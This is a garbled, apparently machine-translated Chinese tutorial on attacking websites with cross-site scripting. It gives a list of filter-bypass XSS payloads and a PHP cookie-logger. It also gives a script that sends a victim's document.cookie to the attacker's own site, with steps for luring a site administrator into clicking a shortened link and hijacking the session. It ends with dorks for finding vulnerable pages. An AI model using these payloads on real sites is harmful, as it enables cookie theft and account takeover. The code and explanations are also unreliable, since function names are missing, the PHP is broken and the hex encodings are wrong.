什么是XSS ?
跨站点脚本XSS代表。它基本上是一个攻击,那是用来执行HTML和javaScript的web页面。这种攻击可以通过提交查询到文本框,甚至到URL 。结果回来阅读的文本为HTML ,所以它执行的脚本,而不是显示在纯文本。 XSS攻击,你可以从一个网络管理员窃取cookie ,甚至使用一些社会工程学来操纵别人下载你已经创建了一个病毒。如僵尸网络或大鼠,也许甚至是按键记录器的XSS攻击可以是非常危险的,但也可以是非常温和的。我的大部分攻击是温和的XSS攻击,即可以对网站很难使用。有很多方法可以使用XSS来你的优势。我将仅举几例。您可以使用一个警告框来宣传自己,或提醒网络管理员,你已经发现了一个安全漏洞,涉及XSS 。您还可以设置一个Cookie-Stealer/Logger 。什么,你可以用HTML ,可以用来对付这种攻击的网站。我将解释一些与XSS相关的最重要的方面。
什么是HTML和JavaScript ?
HTML
HTML是一种编程语言,有点像。一种编程语言和HTML之间的区别是不太远。它们是两种语言,用于创建属性和事件。 HTML是一种标记语言,它主要用来创建网站。 HTML是超文本标记语言。您可以使用HTML来创建窗体,按钮,和其他的东西,可以用来在网页中。我很怀疑你永远不会遇到不包含一个网站,甚至有少量的HTML 。
JAVASCRIPT
现在,首先,让我们弄清楚一件事。 Java和JavaScript之间存在着巨大的差异。 Java中,是一种语言,重新组合的C + + ,它可以在游戏中使用,应用程序。 JavaScript是那种类似HTML,但肯定在许多方面不同。 JavaScript没有使用比HTML是网页中的几乎一样多。使用JavaScript ,更多的应用程序以外的网页。 PDF文件一样。随着HTML , JavaScript可以是一个令人难以置信的有用的语言。他们都是相当简单的学习,是非常动态的。
XSS :我的第一次进攻。
现在,让我们开始进入真正的好东西。在本节中,我将解释如何使用XSS来你的优势。我们也将推出我们的第一个攻击XSS ,如果你知道的基本知识, XSS攻击,你可以跳过这一节,因为我怀疑你会学到什么东西,你不知道简要。
现在,我们的第一步,显然是要找到一个易受攻击的网站。寻找一个网站容易受到XSS容易SQLI比找到一个网站是一个容易得多。问题是,它可能需要一段时间来判断网站是否真的是脆弱的。 SQLI ,你可以只添加一点点' 。但XSS ,你必须提交多个查询(有时) ,测试你的网站的XSS 。
最脆弱的网站将包含一个搜索,登录或注册。几乎任何地方,包含一个文本框,可以利用XSS 。然而,很多人忘记了这个事实,从来没有用它来充分发挥其潜力,是因为他们认为它是无用的。您可以利用XSS通过源,以及,你不能只是采取任何脚本,编辑完整的东西。但编辑“ 事件”的剧本,是绝对是个例外。我会解释的XSS这种方法以后,现在,我们需要完整的基础。
不管怎么说,我们的网站应该有一些文本框输入一些HTML进来,我将简单地使用一个搜索栏。
所以,让我们尝试把所有的时间最知名的,基本的查询。
<script>alert("XSS")</script>
那个小脚本,HTML。它将使弹出一个小的消息,说:“XSS”。您可以编辑的那部分,如果你喜欢。只要不修改任何其他部分的脚本。
它放入你的搜索栏,然后按Enter。现在,如果一个小弹出警告框,你已经成功地袭击了一个网站容易受到XSS!
如果没有框弹出,这是正常的,因为这意味着该网站已经采取了一些时间,把过滤器。
过滤器,当我们搜索的东西,那么它通过一个微型的过程,基本上检查。它会检查任何恶意(危险)的东西。
在这种情况下,它会寻找XSS。有时,这些过滤器是非常薄弱的,可以很容易通过,其他时间,他们可以是相当难以绕过。
现在有很多的方法来绕过XSS过滤器。首先,我们必须找出什么样的过滤器阻塞。很多的时候,它挡住了警报。
这种过滤器下面是一个例子:
<script>alert("XSS")</script>
< script>alert( > XSS DETECTED < )</script>
这将阻止报警。那么,到底如何,我们获得通过呢?
嗯,幸好有一个完整的邮件进行加密的方法。
我们将使用一个小功能称为“”。
它的名字几乎可以解释这一切。加密我们的文字,转换成ASCII。
这种加密的一个例子,是这样的:
(88,83,83)
是的,它可以是一个有点混乱,但一点点的解释和测试,是很简单的。
下面是我们完整的查询将是什么样子:
<script>alert((88,83,83))</script>
你不需要任何这样的简单查询报价。因此,让我们在搜索栏中放回来,瞧!它的工作!我们得到了一个警告框,说“XSS”!如果你仍然没有得到任何警告框,尝试一些我喜欢使用这些查询:
[code ]"><script>alert("XSS")</script>
"><script>alert((88,83,83))</script>
‘><script>alert("XSS")</script>
‘><script>alert((88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT((88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT((88,83,83))</ScRIPt>
‘><ScRIPt>aLeRT("XSS")</ScRIPt>
‘><ScRIPt<aLeRT((88,83,83))</ScRIPt>
</script><script>alert("XSS")</script>
</script><script>alert((88,83,83))</script>
"/><script>alert("XSS")</script>
"/><script>alert((88,83,83))</script>
‘/><script>alert("XSS")</script>
‘/><script>alert((88,83,83))</script>
</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>"><SCRIPT>alert((88,83,83))
</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>">’><SCRIPT>alert((88,83,83))</SCRIPT>
";alert("XSS");"
";alert((88,83,83));"
‘;alert("XSS");’
‘;alert((88,83,83));’
";alert("XSS")
";alert((88,83,83))
‘;alert("XSS")
‘;alert((88,83,83))[/code]
是的,我只是写了所有这些,它需要较长的时间比它应该,但他们都以自己的方式工作,所以因为他们中的许多,你可以试试。我攻击一些这些查询一些相当巨大的网站。创建我自己的查询有时,你应该创建一些,他们也可以派上用场了很多。
XSS:先进的方法
现在,在本节中,我将分享一些方法来对网站的恶意使用XSS。现在,请记住所有的恶意攻击发送过来的系统,网站或服务器,是非法的,这些行动可以被起诉。所以如果你打算做一些恶意的网站始终使用保护。如果你想做出一点警告框弹出,你不应该需要一个代理/ VPN。
cookie窃取/记录
现在,饼干偷窃是最恶意的事情,我们可以用非持久性XSS。一个cookie窃取/记录仪,会记录用户访问某个文件的页面的饼干。做到这一点,最简单的方式将分为三个步骤。
首先,你应该设置一个站点。就个人而言,我觉得现在,一旦你创建了自己的网站,去到的文件管理器。创建一个新的文件。调用它“CookieLog.txt”。离开码坯。现在,创建另一个文件后,称为“CookieLogger.php”。在CookieLogger.php,我们需要添加一些代码,所以它发送的cookie,我们登录到我们的Cookie日志。将此代码,把它(只要确保文件名中有PHP的,否则它不会运行PHP代码(这是一个巨大的问题))。
[code ]<?php/*
* Created on 16. april. 2007
* Created by Audun Larsen (audun@munio.no)
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS interRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
if(strlen($$$$_SERVER[‘QUERY_STRING’]) > 0) {
$$$$fp=fopen(‘./CookieLog.txt’, ‘a’);
fwrite($$$$fp, urldecode($$$$_SERVER[‘QUERY_STRING’])."/n");
fclose($$$$fp);
} else {
?>
var ownUrl = ‘http://<?php echo $$$$_SERVER[‘HTTP_HOST’]; ?><?php echo $$$$_SERVER[‘PHP_SELF’]; ?>';
// ==
// URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// http://www.albionresearch.com/
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// ( if you use these functions on a publicly accessible
// web site you include a credit somewhere on the web site
// with a link back to http://www.albionresearch.com/
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() – now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ==
function URLEncode(str)
{
// The Javascript escape and unescape functions do not correspond
// with what browsers actually do…
var SAFECHARS = "0123456789" + // Numeric
"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic
"abcdefghijklmnopqrstuvwxyz" +
"-_.!~*'()"; // RFC2396 Mark characters
var HEX = "0123456789ABCDEF";
var plaintext = str;
var encoded = "";
for (var i = 0; i < plaintext.length; i++ ) {
var ch = plaintext.charAt(i);
if (ch == " ") {
encoded += "+"; // x-www-urlencoded, rather than %20
} else if (SAFECHARS.indexOf(ch) != -1) {
encoded += ch;
} else {
var charCode = ch.charCodeAt(0);
if (charCode > 255) {
alert( "Unicode Character ‘"
+ ch
+ "’ cannot be encoded using standard URL encoding./n" +
"(URL encoding only supports 8-bit characters.)/n" +
"A space (+) will be substituted." );
encoded += "+";
} else {
encoded += "%";
encoded += HEX.charAt((charCode >> 4) & 0xF);
encoded += HEX.charAt(charCode & 0xF);
}
}
} // for
return encoded;
};
cookie = URLEncode(document.cookie);
html = ‘<img src="’+ownUrl+’?’+cookie+’">';
document.write(html);
< ?php
}
?>[/code]
现在,我们有我们的Cookie记录器脚本,我们可以给我们最好的朋友,网络管理员发送的cookie记录器。要做到这一点,我们也许应该微小的URL 。或者,如果你能弄清楚如何恶搞URL ,也能工作。
到指定网站去。
只是在URL中。但是且慢,我们需要添加到我们的XSS漏洞的脚本。这是脚本,将开始我们的Cookie记录。
<script>document.location="http://www.自己接收XSS网站地址.com/CookieLogger.php?cookie=" + document.cookie;</script>
所以只需添加脚本的URL之后,然后微小,并将其发送到我们的网站管理员,现在可以花一些时间帮助实际点击它。有时,管理员不会点击它,所以如果时间太长,你应该放弃,并找到另一种方式来利用它。
一旦你得到的cookie ,你可以使用“ Cookie管理器”火狐插件来操纵和编辑的饼干,让你可以劫持管理员会话。我觉得Cookie管理器非常有用的应用程序的XSS ,确保下载它。
XSS筛选器绕过技术
有时候,一个简单的XSS查询就不会做的伎俩。你的查询没有工作的原因,是因为该网站有一个WAF或滤波器组到位。过滤器将阻止尽可能尽可能多XSS和SQLI查询。在这种情况下,我们正在处理,防止XSS 。
绕过XSS过滤器的方法有很多,但我只会解释几句。
六角旁路
随着封锁的字符,如> , <, / ,它是相当困难的来执行XSS查询。不用担心,总有一个解决方案,你可以改变你的角色,成六角。一个十六进制的某些字符,基本上是字符,但在不同的格式。这些应该帮助你
> = %3c
< = %3c
/ = %2f
ASCII旁路
使用一个ASCII加密,我们可以使用的字符“被封锁颇有几分,这是其中一个最常见的XSS筛选器绕过所有的时间,你将需要加密的脚本,将看起来像这样:
不工作脚本
<script>alert("XSS")</script>
工作脚本
<script>alert((88,83,83))</script>
要加密你的小脚本的一部分,去这个网站:
http://www.wocares.com/noquote.php
我使用该网站,发现它非常有用。
绕过区分大小写
这种旁路作品很少,但它总是值得一试。然而,在地方设置一些过滤器,来检测某些字符串,过滤器的字符串被封锁是区分大小写的。
所以我们需要做的,是执行一个脚本,用不同尺寸的字符。
这旁路,将看起来像这样:
<ScRiPt>aLeRt("XSS")</ScRiPt>
您还可以混合使用ASCII加密,如果你喜欢。这种旁路仅适用于真正愚蠢的过滤器,或真的旧。
一些XSS Dorks“
它通常是最好的创建/找到自己的dorks,但在本教程中,我会写一些了真正的快速分享:
[code ]inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx[/code]